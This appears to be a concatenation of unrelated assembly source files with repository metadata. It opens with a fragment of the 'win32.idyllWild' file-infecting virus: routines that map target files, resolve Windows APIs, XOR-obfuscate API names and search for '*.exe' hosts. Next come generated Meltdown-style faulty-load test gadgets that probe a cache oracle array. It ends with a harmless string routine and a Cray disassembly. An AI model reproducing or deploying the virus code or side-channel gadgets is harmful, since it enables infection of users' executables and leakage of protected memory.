idyll_finddata_add] mov edx,[edi._sizelo] mov ebx,[edi._sizehi] add edx,[ebp+offset idyll_sectsize] push 0 ;name of mapping object push edx ;max size lo push ebx ;max size hi push 4 ;PAGE_READWRITE push 0 ;no sa structure push eax ;hFile to map call [ebp+offset idyll_createfilemappinga_add] mov [ebp+offset idyll_maphand],eax ;store hObject test eax,eax ;failed? je idyll_mapfile_return_failure ;yes abort nop nop nop nop push 0 ;map entire file push 0 ;from zero offset push 0 ;from zero offset push 2 ;r/w access push eax ;hObject call [ebp+offset idyll_mapviewoffile_add];call MapViewOfFile mov [ebp+offset idyll_mappedadd],eax ;store add of mapped image test eax,eax ;failed? je idyll_mapfile_return_failure ;yes abort nop nop nop nop ret ;return success(eax nonzero) idyll_mapfile_return_failure: xor eax,eax ret ; ;unmap the file and close handles ; idyll_unmap_close: ;@13EE(85EE) mov eax,[ebp+offset idyll_mappedadd] ;address of mapped image push eax ;sotre parameter call [ebp+offset idyll_unmapviewoffile_add];unmap file mov eax,[ebp+offset idyll_maphand] ;hObject push eax ;store parameter call [ebp+offset idyll_closehandle_add] ;close file mapping object mov eax,[ebp+offset idyll_handle] ;hFile push eax ;store parameter call [ebp+offset idyll_closehandle_add] ;close file ret ;return to motherfucking caller ; ;calls GetProcAddress to retrieve fn adds needed for infection ; idyll_lookup_apis: ;@147F lea edi,[ebp+offset idyll_apinames];strings of fn names lea esi,[ebp+offset idyll_apiaddresses];room for fn addresses idyll_lookup_apis_loop: mov ax,[edi] ;fetch a word cmp ax,0 ;end of apinames? je idyll_lookup_apis_return ;yes return nop ;nops for b2b match nop nop nop push esi ;store ptr push edi ;pass fn add mov eax,[ebp+offset idyll_k32add] ;hModule of KERNEL32 push eax ;pass param mov esi,[ebp+offset idyll_getprocaddress_add];add of fn call esi ;call GetProcAddress pop esi ;get ptr back mov [esi],eax ;store fn add add esi,4 ;fix ptr xor al,al ;zero reg or ecx,-1 ;ecx contains 0xFFFFFFFF inc edi ;inc ptr repnz ;find end of string (null) scasb jmp idyll_lookup_apis_loop;proceed with next fn idyll_lookup_apis_return: ret ; ;data needed on virus startup ; idyll_k32string db 'KERNEL32',0 ;@14BA idyll_k32add dd 0 ;address of KERNEL32.dll @14C3 ; ;these fields are filled during infection and must be fixed ;before executing the 1st generation of the virus ;***note:this makes the whole stuff tasm/tlink dependent ; idyll_gmh dd offset GetModuleHandleA+2 ;@14C7 GetModuleHandleA idyll_gpa dd offset GetProcAddress+2 ;@14CB GetProcaddress dd 0 ;@14CF dd 0 ; idyll_gmhstring db 'GetModuleHandleA',0 ;@14D7 idyll_gpastring db 'GetProcAddress',0 ;@14E8 idyll_getmodulehandlea_add dd 0 ;@14F7 fn address idyll_getprocaddress_add dd 0 ;@14FB fn address ; ;encrypt/decrypt api names ;(i always get wired when i see motherfucking mixing of motherfucking code ;and motherfucking data motherfucking areas motherfucking) ; idyll_xorloop_on_apinames: ;@14FF lea esi,[ebp+offset idyll_apinames];ptr to string to crypt mov ecx,idyll_length_of_apinames;amount to crypt idyll_xorloop_on_apinames_loop: mov ah,[esi] ;get byte xor ah,17h ;crypt byte mov [esi],ah ;store byte inc esi ;inc ptr dec ecx ;has the author heard of the 'loop' jne idyll_xorloop_on_apinames_loop ;instruction of the x86's? ret ; ;data related to idyll ; idyll_length_of_apinames equ idyll_endof_apinames-idyll_apinames ; ;names of functions virus uses for infection ; idyll_apinames equ $ db 'CreateFileA',0 db 'CreateFileMappingA',0 db 'MapViewOfFile',0 db 'UnmapViewOfFile',0 db 'CloseHandle',0 db 'VirtualAlloc',0 db 'VirtualFree',0 db 'FindFirstFileA',0 db 'FindNextFileA',0 db 'SetFileAttributesA',0 db 'GetLastError',0 dw 0 ;endmarker idyll_endof_apinames equ $ ; ;api adds will be stored here ; idyll_apiaddresses equ $ idyll_createfilea_add dd 0 ;@15B7 idyll_createfilemappinga_add dd 0 idyll_mapviewoffile_add dd 0 idyll_unmapviewoffile_add dd 0 idyll_closehandle_add dd 0 idyll_virtualalloc_add dd 0 idyll_virtualfree_add dd 0 idyll_findfirstfilea_add dd 0 idyll_findnextfilea_add dd 0 idyll_setfileattributesa_add dd 0 idyll_getlasterror_add dd 0 idyll_hostentry dd offset host_start ;host erva @15E3 idyll_filemask db '*.exe',0 ;filemask for searches @15E7 idyll_findhandle dd 0 ;@15ED handle for file searches idyll_finddata_add dd 0 ;@15F1 address of finddata structure idyll_handle dd 0 ;@15F5 handle of open file idyll_maphand dd 0 ;@15F9 handle of file mapping object idyll_mappedadd dd 0 ;@15FD address of mapped file idyll_peheader dd 0 ;@1601 ptr to PE header idyll_1stsec dd 0 ;@1605 ptr to 1st entry in object table idyll_sectsize dd 0 ;@1609 idyll_x dd 0 ;@160D idyll_dllnamebuffer db 20 dup(0) ;@1611 idyll_text db '[win32.idyllWild]',10,13 db 'take me in your arms of velvet...',10,13 db 'kiss me with satin...',10,13 db 'drown me.',10,13 idyll_end equ $ end fixups ;we will start fixup routine first
26.756522
84
0.733507
6b8759b3d48336d01cabdef5fa226f743b8f3f41
4,650
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_1030.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_1030.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_1030.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1b0cd, %rsi lea addresses_A_ht+0x1d549, %rdi nop nop nop nop nop sub %rbx, %rbx mov $15, %rcx rep movsl nop nop nop sub %r12, %r12 lea addresses_WC_ht+0x10735, %rdx nop nop nop nop inc %rbx mov (%rdx), %si sub %rbx, %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r8 push %rax push %rcx push %rdi push %rsi // Store lea addresses_PSE+0x18cd, %rsi clflush (%rsi) nop nop nop nop and $35938, %r12 mov $0x5152535455565758, %rdi movq %rdi, %xmm4 movntdq %xmm4, (%rsi) nop nop nop nop nop add $28149, %rax // Faulty Load lea addresses_PSE+0xc0cd, %rsi nop nop nop nop nop cmp %rcx, %rcx mov (%rsi), %rdi lea oracles, %rsi and $0xff, %rdi shlq $12, %rdi mov (%rsi,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 16}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}} {'src': {'NT': False, 'same': True, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
46.5
2,999
0.661935
2c126d99e258a5250cd50845de367279e701f7ca
881
asm
Assembly
libsrc/strings/strstr_callee.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/strings/strstr_callee.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/strings/strstr_callee.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; char __CALLEE__ *strstr_callee(char *s, char *w) ; return ptr to first occurrence of string w in s ; 01.2007 aralbrec XLIB strstr_callee XDEF ASMDISP_STRSTR_CALLEE .strstr_callee pop af pop hl pop de push af ; enter : de = char *s ; hl = char *w ; exit : found : hl = ptr, NC flag set ; else : hl = 0, C flag set ; uses : af, de, hl .asmentry dec de .loop1 inc de ld a,(de) cp (hl) jr z, maybe or a jp nz, loop1 .fail ld l,a ld h,a scf ret .maybe push hl ; save char *w push de ; save char *s ex de,hl .loop2 ld a,(de) or a jr z, match inc de cp (hl) inc hl jp z, loop2 pop de pop hl jp loop1 .match pop hl pop de ret DEFC ASMDISP_STRSTR_CALLEE = asmentry - strstr_callee
12.585714
53
0.530079
5dc67a363bc913000bec5629111f5ae4bf41f107
5,923
asm
Assembly
Transynther/x86/_processed/NONE/_ht_st_zr_un_/i3-7100_9_0xca_notsx.log_36_1618.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_ht_st_zr_un_/i3-7100_9_0xca_notsx.log_36_1618.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_ht_st_zr_un_/i3-7100_9_0xca_notsx.log_36_1618.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x18ca8, %rsi lea addresses_WT_ht+0xebd8, %rdi nop nop nop nop nop xor $23534, %r11 mov $79, %rcx rep movsl nop nop nop nop xor $24580, %r13 lea addresses_D_ht+0xc59c, %rbp nop nop xor $27965, %rax movl $0x61626364, (%rbp) nop dec %rcx lea addresses_D_ht+0xa5d0, %rsi lea addresses_WT_ht+0x5dd0, %rdi nop nop cmp $55747, %r11 mov $114, %rcx rep movsb nop nop add $47677, %r11 lea addresses_WT_ht+0x18454, %rsi lea addresses_WC_ht+0x19dd0, %rdi nop nop nop xor $25767, %r15 mov $85, %rcx rep movsq nop nop nop dec %rsi lea addresses_D_ht+0x13150, %rsi lea addresses_normal_ht+0x56d0, %rdi nop nop nop sub %r11, %r11 mov $77, %rcx rep movsq nop add %r15, %r15 lea addresses_UC_ht+0x16bd0, %rsi lea addresses_normal_ht+0x1ab1c, %rdi nop nop nop nop add $12127, %r15 mov $124, %rcx rep movsl nop xor $24775, %r15 lea addresses_UC_ht+0xf450, %rdi nop add %rsi, %rsi mov $0x6162636465666768, %rax movq %rax, (%rdi) and %r15, %r15 lea addresses_A_ht+0x16e30, %r13 nop nop add $13729, %rdi movl $0x61626364, (%r13) nop nop inc %r13 lea addresses_WT_ht+0x12bd3, %rdi nop nop nop nop nop cmp $3583, %rcx movb $0x61, (%rdi) nop cmp %rbp, %rbp lea addresses_D_ht+0x101d0, %rdi clflush (%rdi) cmp %r11, %r11 mov $0x6162636465666768, %rbp movq %rbp, (%rdi) add $40756, %rcx lea addresses_normal_ht+0x7550, %r11 clflush (%r11) nop nop nop nop nop add %r13, %r13 mov (%r11), %ecx nop inc %r13 lea addresses_UC_ht+0x13db8, %rax nop nop nop nop nop and $55439, %r15 movw $0x6162, (%rax) nop nop and $9631, %rdi lea addresses_D_ht+0x1dc14, %r15 nop nop dec %rcx movb $0x61, (%r15) nop nop and %rdi, %rdi lea addresses_WC_ht+0x1a610, %rsi lea addresses_normal_ht+0x14154, %rdi nop nop sub $12573, %rax mov $105, %rcx rep movsb nop nop add $46554, %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r15 push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_US+0x1b7d0, %rsi lea addresses_A+0xf5d0, %rdi nop nop nop nop inc %r15 mov $54, %rcx rep movsb nop and $13063, %rsi // Store lea addresses_A+0x1e73e, %rcx nop nop nop nop inc %r14 mov $0x5152535455565758, %rdi movq %rdi, (%rcx) nop nop inc %rdx // Store lea addresses_US+0x1a2d0, %r15 nop nop nop nop nop cmp $26986, %rdi movw $0x5152, (%r15) nop nop nop xor %r12, %r12 // Store mov $0x4438a90000000785, %rdi nop nop nop nop and $62412, %r14 movw $0x5152, (%rdi) sub $34699, %rcx // Faulty Load lea addresses_A+0xf5d0, %rdi nop nop sub $28803, %rdx mov (%rdi), %r12w lea oracles, %rcx and $0xff, %r12 shlq $12, %r12 mov (%rcx,%r12,1), %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_US', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_US', 'size': 2, 'AVXalign': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 2, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}} {'9c': 1, 'f6': 1, 'b6': 1, '22': 1, '48': 1, 'a2': 1, '14': 1, 'e4': 1, 'fc': 1, '10': 1, '6c': 1, 'd8': 1, '78': 1, '98': 1, '26': 1, '9e': 1, '6e': 1, '46': 1, '1e': 1, 'a8': 2, '00': 2, '84': 1, 'a0': 1, 'c8': 1, '40': 1, '3c': 1, 'b8': 1, 'ca': 1, 'a4': 1, '94': 2, 'ee': 2, 'f4': 1} 00 1e ca 6e 22 a2 94 84 c8 10 14 a4 48 26 00 e4 b6 d8 a8 78 9e fc ee ee f4 40 46 6c f6 a0 a8 3c 94 9c 98 b8 */
22.520913
288
0.637346
6734b331113aa041c384eb96e4a8247dcbee8741
8,928
asm
Assembly
target/cos_117/disasm/iop_overlay1/STOP.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
49
2020-10-09T12:29:16.000Z
2022-03-12T02:33:35.000Z
target/cos_117/disasm/iop_overlay1/STOP.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
1
2021-12-29T15:59:25.000Z
2021-12-29T15:59:25.000Z
target/cos_117/disasm/iop_overlay1/STOP.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
6
2021-04-12T06:10:32.000Z
2022-02-08T23:11:19.000Z
0x0000 (0x000000) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0001 (0x000002) 0x291B- f:00024 d: 283 | OR[283] = A 0x0002 (0x000004) 0x1800-0x004C f:00014 d: 0 | A = 76 (0x004C) 0x0004 (0x000008) 0x2403- f:00022 d: 3 | A = A + OR[3] 0x0005 (0x00000A) 0x291A- f:00024 d: 282 | OR[282] = A 0x0006 (0x00000C) 0x1800-0x005E f:00014 d: 0 | A = 94 (0x005E) 0x0008 (0x000010) 0x2403- f:00022 d: 3 | A = A + OR[3] 0x0009 (0x000012) 0x2908- f:00024 d: 264 | OR[264] = A 0x000A (0x000014) 0x211A- f:00020 d: 282 | A = OR[282] 0x000B (0x000016) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x000C (0x000018) 0x8226- f:00101 d: 38 | P = P + 38 (0x0032), C = 1 0x000D (0x00001A) 0x2118- f:00020 d: 280 | A = OR[280] 0x000E (0x00001C) 0x371A- f:00033 d: 282 | A = A - (OR[282]) 0x000F (0x00001E) 0x8402- f:00102 d: 2 | P = P + 2 (0x0011), A = 0 0x0010 (0x000020) 0x701E- f:00070 d: 30 | P = P + 30 (0x002E) 0x0011 (0x000022) 0x211A- f:00020 d: 282 | A = OR[282] 0x0012 (0x000024) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x0013 (0x000026) 0x2908- f:00024 d: 264 | OR[264] = A 0x0014 (0x000028) 0x2119- f:00020 d: 281 | A = OR[281] 0x0015 (0x00002A) 0x3708- f:00033 d: 264 | A = A - (OR[264]) 0x0016 (0x00002C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0018), A = 0 0x0017 (0x00002E) 0x7017- f:00070 d: 23 | P = P + 23 (0x002E) 0x0018 (0x000030) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0019 (0x000032) 0x291A- f:00024 d: 282 | OR[282] = A 0x001A (0x000034) 0x100F- f:00010 d: 15 | A = 15 (0x000F) 0x001B (0x000036) 0x271B- f:00023 d: 283 | A = A - OR[283] 0x001C (0x000038) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F) 0x001D (0x00003A) 0x5800- f:00054 d: 0 | B = A 0x001E (0x00003C) 0x211A- f:00020 d: 282 | A = OR[282] 0x001F (0x00003E) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0020 (0x000040) 0x290D- f:00024 d: 269 | OR[269] = A 0x0021 (0x000042) 0x211B- f:00020 d: 283 | A = OR[283] 0x0022 (0x000044) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x0023 (0x000046) 0x1C00-0x0E0D f:00016 d: 0 | A = A + 3597 (0x0E0D) 0x0025 (0x00004A) 0x290E- f:00024 d: 270 | OR[270] = A 0x0026 (0x00004C) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x0027 (0x00004E) 0x4C00- f:00046 d: 0 | A = A >> B 0x0028 (0x000050) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x0029 (0x000052) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001) 0x002A (0x000054) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x002B (0x000056) 0x4E00- f:00047 d: 0 | A = A << B 0x002C (0x000058) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x002D (0x00005A) 0x7012- f:00070 d: 18 | P = P + 18 (0x003F) 0x002E (0x00005C) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x002F (0x00005E) 0x2B1A- f:00025 d: 282 | OR[282] = A + OR[282] 0x0030 (0x000060) 0x2D1B- f:00026 d: 283 | OR[283] = OR[283] + 1 0x0031 (0x000062) 0x722B- f:00071 d: 43 | P = P - 43 (0x0006) 0x0032 (0x000064) 0x2003- f:00020 d: 3 | A = OR[3] 0x0033 (0x000066) 0x1C00-0x005E f:00016 d: 0 | A = A + 94 (0x005E) 0x0035 (0x00006A) 0x291A- f:00024 d: 282 | OR[282] = A 0x0036 (0x00006C) 0x1010- f:00010 d: 16 | A = 16 (0x0010) 0x0037 (0x00006E) 0x291C- f:00024 d: 284 | OR[284] = A 0x0038 (0x000070) 0x211A- f:00020 d: 282 | A = OR[282] 0x0039 (0x000072) 0x291D- f:00024 d: 285 | OR[285] = A 0x003A (0x000074) 0x111C- f:00010 d: 284 | A = 284 (0x011C) 0x003B (0x000076) 0x5800- f:00054 d: 0 | B = A 0x003C (0x000078) 0x1800-0x0918 f:00014 d: 0 | A = 2328 (0x0918) 0x003E (0x00007C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x003F (0x00007E) 0x102A- f:00010 d: 42 | A = 42 (0x002A) 0x0040 (0x000080) 0x291C- f:00024 d: 284 | OR[284] = A 0x0041 (0x000082) 0x111C- f:00010 d: 284 | A = 284 (0x011C) 0x0042 (0x000084) 0x5800- f:00054 d: 0 | B = A 0x0043 (0x000086) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0044 (0x000088) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0045 (0x00008A) 0x0000- f:00000 d: 0 | PASS 0x0046 (0x00008C) 0x4348- f:00041 d: 328 | C = 1, io 0510 = BZ 0x0047 (0x00008E) 0x4E54- f:00047 d: 84 | A = A << B | **** non-standard encoding with D:0x0054 **** 0x0048 (0x000090) 0x4350- f:00041 d: 336 | C = 1, io 0520 = BZ 0x0049 (0x000092) 0x5445- f:00052 d: 69 | A = A + B | **** non-standard encoding with D:0x0045 **** 0x004A (0x000094) 0x4543- f:00042 d: 323 | C = 1, IOB = DN | **** non-standard encoding with D:0x0143 **** 0x004B (0x000096) 0x484F- f:00044 d: 79 | A = A > B | **** non-standard encoding with D:0x004F **** 0x004C (0x000098) 0x4853- f:00044 d: 83 | A = A > B | **** non-standard encoding with D:0x0053 **** 0x004D (0x00009A) 0x5054- f:00050 d: 84 | A = B | **** non-standard encoding with D:0x0054 **** 0x004E (0x00009C) 0x4D4F- f:00046 d: 335 | A = A >> B | **** non-standard encoding with D:0x014F **** 0x004F (0x00009E) 0x5354- f:00051 d: 340 | A = A & B | **** non-standard encoding with D:0x0154 **** 0x0050 (0x0000A0) 0x5353- f:00051 d: 339 | A = A & B | **** non-standard encoding with D:0x0153 **** 0x0051 (0x0000A2) 0x4454- f:00042 d: 84 | C = 1, IOB = DN | **** non-standard encoding with D:0x0054 **** 0x0052 (0x0000A4) 0x5844- f:00054 d: 68 | B = A | **** non-standard encoding with D:0x0044 **** 0x0053 (0x0000A6) 0x4B00- f:00045 d: 256 | A = A < B | **** non-standard encoding with D:0x0100 **** 0x0054 (0x0000A8) 0x584D- f:00054 d: 77 | B = A | **** non-standard encoding with D:0x004D **** 0x0055 (0x0000AA) 0x5400- f:00052 d: 0 | A = A + B 0x0056 (0x0000AC) 0x5850- f:00054 d: 80 | B = A | **** non-standard encoding with D:0x0050 **** 0x0057 (0x0000AE) 0x5200- f:00051 d: 0 | A = A & B 0x0058 (0x0000B0) 0x5354- f:00051 d: 340 | A = A & B | **** non-standard encoding with D:0x0154 **** 0x0059 (0x0000B2) 0x4F50- f:00047 d: 336 | A = A << B | **** non-standard encoding with D:0x0150 **** 0x005A (0x0000B4) 0x3A20- f:00035 d: 32 | (OR[32]) = A + (OR[32]) 0x005B (0x0000B6) 0x5445- f:00052 d: 69 | A = A + B | **** non-standard encoding with D:0x0045 **** 0x005C (0x0000B8) 0x5354- f:00051 d: 340 | A = A & B | **** non-standard encoding with D:0x0154 **** 0x005D (0x0000BA) 0x204E- f:00020 d: 78 | A = OR[78] 0x005E (0x0000BC) 0x4F54- f:00047 d: 340 | A = A << B | **** non-standard encoding with D:0x0154 **** 0x005F (0x0000BE) 0x2046- f:00020 d: 70 | A = OR[70] 0x0060 (0x0000C0) 0x4F55- f:00047 d: 341 | A = A << B | **** non-standard encoding with D:0x0155 **** 0x0061 (0x0000C2) 0x4E44- f:00047 d: 68 | A = A << B | **** non-standard encoding with D:0x0044 **** 0x0062 (0x0000C4) 0x0000- f:00000 d: 0 | PASS 0x0063 (0x0000C6) 0x0000- 